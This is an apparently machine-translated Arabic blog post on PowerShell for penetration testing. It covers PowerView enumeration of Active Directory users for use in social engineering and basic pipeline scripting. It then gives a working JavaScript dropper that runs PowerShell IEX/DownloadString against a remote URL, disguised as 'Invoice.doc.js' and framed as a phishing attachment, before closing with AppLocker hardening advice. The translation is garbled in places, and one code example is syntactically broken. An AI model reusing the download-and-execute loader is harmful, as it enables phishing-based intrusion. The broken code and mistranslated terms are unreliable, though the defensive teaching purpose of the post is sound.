PowerShell كأداة Pentest: البرامج النصية وأمثلة Varonis



يحب المتسللون استخدام PowerShell لتشغيل "برامج ضارة بلا ملفات" ، وهي برامج ضارة غير تقليدية ثنائية برمز خبيث مترجم ، ولهذا السبب لا يمكن في بعض الأحيان اكتشافها بواسطة حلول مكافحة الفيروسات.

بالطبع ، كان لدى PowerShell دائمًا غرض طبيعي تمامًا ، والذي في البداية لم يكن له أي علاقة باختبار الاختراق على الإطلاق. أولئك الذين يريدون معرفة خلفية PowerShell يجب عليهم قراءة بيان Monad الشهير. يشرح هذا البيان ، الذي كتبه أحد المطورين الأصليين ، سبب احتياج Microsoft إلى لغة برمجة جديدة (بمعنى آخر ، برامج نصية) ، والتي تحولت في النهاية إلى PowerShell.

لتوفير مشكلة في عرض مستند طويل مكون من 17 صفحة ، سأنكشف لك العامل المحفز الرئيسي الذي دفع مؤلفي PowerShell: كان من المفترض أن يمنح مسؤولي النظام إمكانية الوصول إلى كائنات .Net من سطر الأوامر ، مما يتيح أتمتة سير العمل على مستوى النظام ، بدلاً من على مستوى البرمجة العميقة في C # أو C ++.

إذا كنت تريد دليلًا حقيقيًا على فعالية PowerShell (يشار إليها فيما يلي باسم PS) ، اسأل مسؤولي النظام عن كيفية قيامهم بإضافة المستخدمين بشكل كبير إلى Active Directory أو إجراء إعدادات أمان سريعة. سوف تتعرف على الأرجح على حلول PowerShell . باختصار: تعد PS طريقة رائعة لتقليل الروتين وزيادة الإنتاجية للمسؤولين.

لماذا استخدام PowerShell للآفات؟


لسوء الحظ ، ما هو مناسب تمامًا كأداة أتمتة قوية للمسؤولين مفيد في نهاية المطاف لكل من المتسللين واختبار الاختراق.

افترض أن مسؤول تكنولوجيا المعلومات قد تم تكليفه بمعرفة من الذي يستخدم فعليًا خادمًا ناقصًا. باستخدام PowerShell ومكتبة PowerView للوظائف المتقدمة ، يمكن لمسؤول النظام عرض المستخدمين الذين قاموا بتسجيل الدخول إلى الخادم بسرعة ، دون الحاجة إلى تسجيل الدخول إلى هذا الخادم نفسه:



ومع ذلك ، يمكن لمجرمي الإنترنت الذين سبق لهم الوصول عبر هجوم تصيد المعلومات أن يفعلوا نفس الشيء ، مثل يمكنهم استخدام نفس الميزات أثناء وجودهم في مجال Active Directory (يشار إليها فيما يلي باسم م). ولن يتم اكتشاف أنشطتها بالضرورة: قد يستنتج محلل أمن المعلومات الذي يراقب استخدام التطبيقات أنه نظرًا لأنه مجرد PowerShell ، يجب أن يكون غير ضار .

لتفاقم هذا المثال أكثر ، يمكن للمتسللين الحصول على جميع المعلومات المفصلة حول المستخدمين الفرديين الذين يستخدمون الأمر Get-NetUser ، والذي سيتخلص من جميع سمات المستخدم في م:



لسوء الحظ ، تتجاهل الشركات في بعض الأحيان سمات AD التي تجعلها عامة لجميع الموظفين - على سبيل المثال ، المنزل أو الهاتف المحمول ، العنوان ، إلخ. قبل PowerShell ، كان من الصعب للغاية جمع كل هذه البيانات من م ، ولكن هذا ليس هو الحال لفترة طويلة!

ماذا يمكن أن تفعل المهاجمين مع هذه المعلومات؟ يمكنهم بسهولة الاستفادة من أساليب الهندسة الاجتماعية وتطوير هجوم لهذا: ربما عن طريق إرسال
رسالة بريد إلكتروني تحتوي على سياق شخصي كافٍ مستمدة من سمات AD لتبدو وكأنها طلب دعم مشروع يطلب منك "إعادة تعيين كلمة المرور".

بالمناسبة ، يمكنك تطبيق التحكم ACL على سمات AD أيضًا ، لذلك هناك طريقة (!) لتقليل خطر حدوث هجمات من هذا النوع. وهذه واحدة من تلك النتائج الإيجابية التي يمكنك الحصول عليها من تجربة اختبار الاختراق الخاصة بك.



PowerShell Pentester تعليمي


باستخدام PowerShell ، يمكن للمهاجمين جمع بيانات المستخدم الداخلية بحكمة ثم استخدامها في هجماتهم. ولكن لا يوجد سبب يمنع موظفي تكنولوجيا المعلومات أو أمن المعلومات من تعلم PowerShell بدرجة كافية لبدء اختباراتهم الخاصة وتعلم فهم عقلية الهاكر ودوافعه.

أول شيء لطيف حول PowerShell هو أن جميع البرامج النصية القديمة وملفات الخفافيش التي قمت بتشغيلها من سطر الأوامر cmd.exe لا تزال تعمل في وحدة التحكم PowerShell. بالفعل ليست سيئة ، أليس كذلك؟

النقطة المهمة التالية هي أنه على عكس الأصداف المشابهة لنظام Linux ، فإن PowerShell يتعامل مع كل شيء ككائن . حتى إخراج الأمر (فكر فقط) هو أيضًا كائن.

على سبيل المثال ، أدخل أمر Get-ChildItem (أو الأمر cmdlet بطريقة مختلفة ، كما تسمى الأوامر في عالم PS) في وحدة التحكم ، وسترى قائمة بالملفات في الدليل الحالي:



بوويرشيل الترميز


لنفترض أنك تريد كتابة برنامج PS يتم عرض الملفات فيه فقط أكبر من 10 ميغابايت - على سبيل المثال ، للتحقق السريع من الملفات التي تشغل مساحة كبيرة. سيكون حل هذه المهمة أكثر صعوبة في إخراج السلسلة ، على سبيل المثال ، قذيفة bash. ومع ذلك ، في PowerShell ، يكون إخراج أي أمر في حد ذاته كائنًا به مجموعة من السمات .

لمشاهدة ذلك ، قم ببساطة بتمرير إخراج GetChildItem إلى Get-Member ، والذي سيخبرك بسمات الأمر cmdlet الخاص بـ PS:



لذلك ، لدينا الآن معرفات لسمتين تهمنا: الطول "طول" واسم "الاسم" ، الذي يمكننا الرجوع إليه برمجيًا. 5 دقائق - رحلة عادية.

للتعامل مع الموقف المتكرر عندما تكون الكائنات في بعض الأحيان في صفائف أو مجموعات ، سوف نستخدم مشغل ForEach PS للتكرار على المصفوفة.

لتسهيل الأمور ، فإن الاسم المستعار أو الاسم المستعار "٪" يعني "ForEach" ، و "$ _" يمثل الكائن الحالي.

تشغيل الأوامر باستخدام PowerShell


دعنا نحصل على عمودين مخرجات من أمر GetChildItem استنادًا إلى معرفتنا الجديدة. المثال التالي عبارة عن خط أنابيب يحتوي على Get-ChildItem يغذي بيان ForEach ، والذي يعرض قيم سمات "الطول" و "الاسم" فقط:

get-childitem | % {write-host $_.length $_.name -separator "`t`t"} 

وهنا هي نتيجة تشغيل الأوامر:



لإنهاء مثالنا الرائع ، دعنا نعدل نصنا لإخراج ملفات كبيرة فقط ، على سبيل المثال ، أكثر من 10 ميغابايت. للقيام بذلك ، نستخدم مرشحًا يعرف باسم cmdlet Where-Object مع الاسم المستعار المريح "؟". يحتوي على جميع عوامل المقارنة المعتادة (-gt ، -eq ، -lt ، وما إلى ذلك). نقوم بإدخاله في منتصف خط الأنابيب ولدينا النص الآن يبدو مثل هذا:

  get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"} 

كتمرين ، حاول تشغيل إنشاء PS أعلاه في بيئتك الخاصة.

البرنامج التعليمي: مثال اختبار الاختراق PowerShell


مع هذه التجربة الصغيرة مع PowerShell ، نحن على استعداد لنأخذ مثالًا حقيقيًا على الحياة. واحدة من أسرع الطرق للوصول إلى pentest هي استخدام PowerShell لإخفاء الحمولة النافعة. لقد كتبنا عن كيفية القيام بذلك هنا .

تتمثل الفكرة في إخفاء رمز PowerShell الخاص بنا في مستند مكتب قياسي مع اللاحقة .doc. في الواقع ، سيكون للملف الامتداد .js ، وعند النقر عليه ، يقوم بتنشيط تشغيل برنامج نصي Windows لتشغيل JavaScript ، والذي سيطلق بعد ذلك كود PowerShell المدمج.

مربكة بعض الشيء ، أليس كذلك؟ لكن المتسللين الحقيقيين لا يستخدمون أحدًا ، بل يستخدمون عدة مستويات من التعشيش والتشويش من أجل إخفاء وإرباك هجومهم قدر الإمكان.

محمل الإقلاع وإعداد الحمولة النافعة


إليك ما يشبه البرنامج النصي:

 a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true); 

يمكنك لصق الرمز أعلاه في ملف نصي وإعادة تسميته إلى شيء مثل Invoice.doc.js . تعمل JavaScript أعلاه كجهاز تحميل يعمل باستخدام أسطر الأوامر المدمجة PowerShell NetWebClient و Invoke-Expression ، والتي تعد نفسها أسماء مستعارة بـ "٪".

تستخرج طريقة DownloadString من cmdlet من NetWebClient عن بعد الحمولة الفعلية ، التي تؤدي في النهاية جميع الأعمال القذرة بالنسبة لنا.

يمكنك إدراج عنوان URL الخاص بك والإشارة إلى برنامج الاختبار الخاص بك. حسنًا ، يقبل أمر cmoke (Invoke-Expression) رمز ملفنا الضار ثم ينفذه.

التحقق من ذلك!


في حالتي ، يشير عنوان URL إلى مشروع Github الذي يحتوي على أمر PS Write-Host بسيط يعرض رسالة غير ضارة ولكنها مهمة للبشرية جمعاء. في هجوم حقيقي ، يمكن إرفاق ملف سيناريو من هذا القبيل بقائمة بريدية تصيدية ، والتي من شأنها أن تجذب الموظف غير المشتبه به إلى فخ الفضول. وستكون الحمولة أكثر تدميرا.



يمكنك تجربة هذا على التثبيت الخاص بك. وإذا كان كل ما سبق يعمل بنجاح ، فأمامك مهمة واحدة أكثر إلحاحًا وهامة ، والتي يجب القيام بها دون إخفاق.

فوائد اختبار الاختراق




هذا يقودنا إلى أسباب قيامنا باختبار الاختراق. فيما يلي ثلاث فوائد حقيقية تتبادر إلى الذهن أولاً:

  1. من خلال استكشاف فرق PowerShell كمهندس ، ستفهم كيف يقوم المتسللون "بتكسير" لغة البرمجة النصية الرائعة هذه من الجيل التالي. فقط ضع في اعتبارك مجموعة أساليب DownloadString و Invoke-Expression ، مما يسمح للمهاجمين باستخراج تعليمات برمجية ضارة عن بعد إلى موقع الضحية دون الحاجة إلى حفظها بينهما.
  2. يؤكد هذا التمرين أيضًا على سرية المتسلل الحديث. لقد عرضت في المثال أعلاه مخطط هجوم لا يترك أي ملفات حوله. وبالتالي ، لا يمكنك استخدام الطرق المعتمدة على التوقيع للكشف عن أي هجوم تم تنفيذه باستخدام PowerShell. مبتذلة ، ليس لدينا توقيع البرمجيات الخبيثة نفسها للمقارنة.
  3. من المحتمل أن تبدأ في استكشاف طرق لتقييد PowerShell والأساليب الأخرى المستندة إلى البرامج النصية. في النهاية ، يبدأ الهجوم بنص برمجي ، لذلك إذا كانت الشركات تجعل من الصعب تشغيل البرامج النصية ، فيمكن أن تقلل بشكل كبير من مخاطرها.

اسمحوا لي أن أشرح النقطة الأخيرة. من المرجح أنك لن ترغب في حظر PowerShell (أو JavaScript) تمامًا ، لأن هذا جزء أساسي من برنامج نظام Windows. لحسن الحظ ، لدى Microsoft طريقة لتعطيل البرامج النصية (وغيرها من الملفات القابلة للتنفيذ) بشكل انتقائي من خلال AppLocker ، وهو نسخة محسنة من سياسات تقييد البرامج القديمة في سياسات المجموعة الحديثة (GPO).

قد يبدو هذا غير معقول بالنسبة للفنيين ، ولكن معظم المستخدمين العاديين لا يحتاجون إلى PowerShell أو لغات البرمجة النصية الأخرى للقيام بعملهم اليومي. هذا ، بالطبع ، أمر مروع ، وأنا أعلم! على سبيل المثال ، يمكن تكوين AppLocker لتعطيل وصول PowerShell للجماهير ، مع السماح لمسؤولي النظام بالاستمرار في عملهم الشاق.

تعتمد الهجمات التي تستند إلى البرامج النصية ، بما في ذلك تلك المتعلقة بمرفقات البريد الإلكتروني ، على المسؤولين لتزويد الموظفين بأذونات نصية واسعة للغاية. وهذا لا ينبغي أن يكون كذلك!

Source: https://habr.com/ru/post/ar471420/


All Articles